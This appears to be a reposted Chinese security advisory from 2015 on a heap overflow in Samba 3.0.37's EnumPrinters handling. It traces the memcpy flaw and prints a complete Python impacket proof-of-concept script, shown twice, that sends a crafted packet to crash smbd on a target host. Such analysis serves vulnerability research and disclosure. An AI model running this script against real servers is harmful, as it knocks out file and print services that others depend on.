linux 内存溢出 gdb attach,Samba 3.0.37 EnumPrinters 堆内存溢出漏洞

4bb8fadc73c14ce97cb626d360425828.png

知道创宇安全研究团队  niubl:2015.5.20

一、Samba 介绍

Samba 是在 Linux 和 UNIX 系统上实现 SMB 协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置 “NetBIOS over TCP/IP” 使得 Samba 不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。

Samba 由两个主要程序组成,它们是 smbd 和 nmbd。这两个守护进程在服务器启动到停止期间持续运行,功能各异。smbd 和 nmbd 使用的全部配置信息全都保存在smb.conf 文件中。smb.conf 向 smbd 和 nmbd 两个守护进程说明输出什么以便共享,共享输出给谁及如何进行输出。

Samba 提供了基于 CIFS 的四个服务:文件和打印服务、授权与被授权、名字解析、浏览服务。前两项服务由 smbd 提供,后两项服务则由 nmbd 提供。 简单地说,smbd 进程的作用是处理到来的 SMB 软件包,为使用该软件包的资源与 Linux 进行协商,nmbd 进程使主机(或工作站)能浏览 Linux 服务器。

二、Samba 安装

安装相关库:

sudo apt-get install build-essential libacl1-dev python-dev libldap2-dev pkg-config gdb libgnutls-dev libblkid-dev libreadline-dev libattr1-dev python-dnspython libpopt-dev libbsd-dev attr docbook-xsl libcups2-dev git

编译:

sudo ./configure --enable-debug

sudo make

sudo make install

写入配置文件:

cp samba/examples/smb.conf.default /usr/local/samba/lib/smb.conf

启动samba:

/usr/local/samba/sbin/smbd

三、漏洞介绍

2015年5月18日,国外安全研究员公布了 Samba 3.0.37 内存崩溃 POC,该 POC 证实,在请求Samba EnumPrinters服务时,可以修改buffer size长度,使memcpy调用产生内存越界拷贝,造成崩溃。

四、影响产品

Samba 3.0.37(已知)。

五、漏洞分析

Samba 在处理 EnumPrinters 时调用 api_spoolss_enumprinters 函数处理,api_spoolss_enumprinters 函数把外界出入的数据包交给 spoolss_io_q_enumprinters 函数处理,如图:

e2f018a8035051ea2b7f31376e78a665.png

在 spoolss_io_q_enumprinters 函数中,samba 调用 prs_rpcbuffer_p 函数处理 EnumPrinters 数据结构中 buffer 相关数据,如图:

211edd18d353def39863e882479caf91.png

prs_rpcbuffer_p 函数调用 prs_rpcbuffer 函数,如图:

42fff94645a7cbcfed4bf9873be903ac.png

在 prs_rpcbuffer 函数中,prs_rpcbuffer 函数调用 prs_uint32 函数把 ps(即 data 数据)中的 buffer->size 解析出来,赋值给 buffer->size 变量,然后把 buffer->size 变量传递给 prs_append_some_prs_data 函数,然后调用 prs_append_some_prs_data 函数处理 buffer 数据,如图:

5f5ff3edb842086e4b64f2b0b22d8776.png

最后来到 prs_append_some_prs_data 函数,prs_append_some_prs_data 函数调用 memcpy 进行内存拷贝,然而 memcpy 的第三个参数 len(即buffer->size)可控,如果构造特殊EnumPrinters数据包即可造成内存越界拷贝。

59f50cf316cf5c04142cd523ab90dadb.png

六、漏洞验证

6.1 POC

Python

#!/usr/bin/env python

#coding:utf-8

# Author:  niubl --<>

# Purpose:

# Created: 2015/5/20

import sys

import impacket

from impacket.dcerpc import printer

from impacket.dcerpc.v5 import transport,nrpc

from impacket.dcerpc.v5.ndr import NDRCALL

from impacket.dcerpc.v5.dtypes import *

if len(sys.argv) < 2:

print("Usage: {} ".format(sys.argv[0]))

sys.exit(1)

target = sys.argv[1]

rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\spoolss]' % target)

rpctransport.set_dport(445)

dce = rpctransport.get_dce_rpc()

dce.connect()

dce.bind(printer.MSRPC_UUID_SPOOLSS)

enumPrinters = "\x0a\x00\x00\x00\x21\xd3\x9f\x98\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\xd8\x50\x60\x00\x21\x33\x33\x73\x00\x00\x00\x01\x42\x42\x06\x20\x0a\x00\x00\x00\x21\xd3\x9f\x28\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\xd8\x50\x60\x20\x21\x33\x33\x2a\x40\x40\x40\x20\x45\x45\x06\x20\x00\x00"

dce.call(0, enumPrinters)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

#!/usr/bin/env python

#coding:utf-8

# Author:  niubl --<>

# Purpose:

# Created: 2015/5/20

importsys

importimpacket

fromimpacket.dcerpcimportprinter

fromimpacket.dcerpc.v5importtransport,nrpc

fromimpacket.dcerpc.v5.ndrimportNDRCALL

fromimpacket.dcerpc.v5.dtypesimport*

iflen(sys.argv)<2:

print("Usage: {} ".format(sys.argv[0]))

sys.exit(1)

target=sys.argv[1]

rpctransport=transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\spoolss]'%target)

rpctransport.set_dport(445)

dce=rpctransport.get_dce_rpc()

dce.connect()

dce.bind(printer.MSRPC_UUID_SPOOLSS)

enumPrinters="\x0a\x00\x00\x00\x21\xd3\x9f\x98\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\xd8\x50\x60\x00\x21\x33\x33\x73\x00\x00\x00\x01\x42\x42\x06\x20\x0a\x00\x00\x00\x21\xd3\x9f\x28\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\xd8\x50\x60\x20\x21\x33\x33\x2a\x40\x40\x40\x20\x45\x45\x06\x20\x00\x00"

dce.call(0,enumPrinters)

6.2 验证

运行验证脚本:

0e05c64b278e5c2b3d6218137cda4f75.png

观察smbd进程状态:

4bb8fadc73c14ce97cb626d360425828.png

smbd已经崩溃。

七、参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值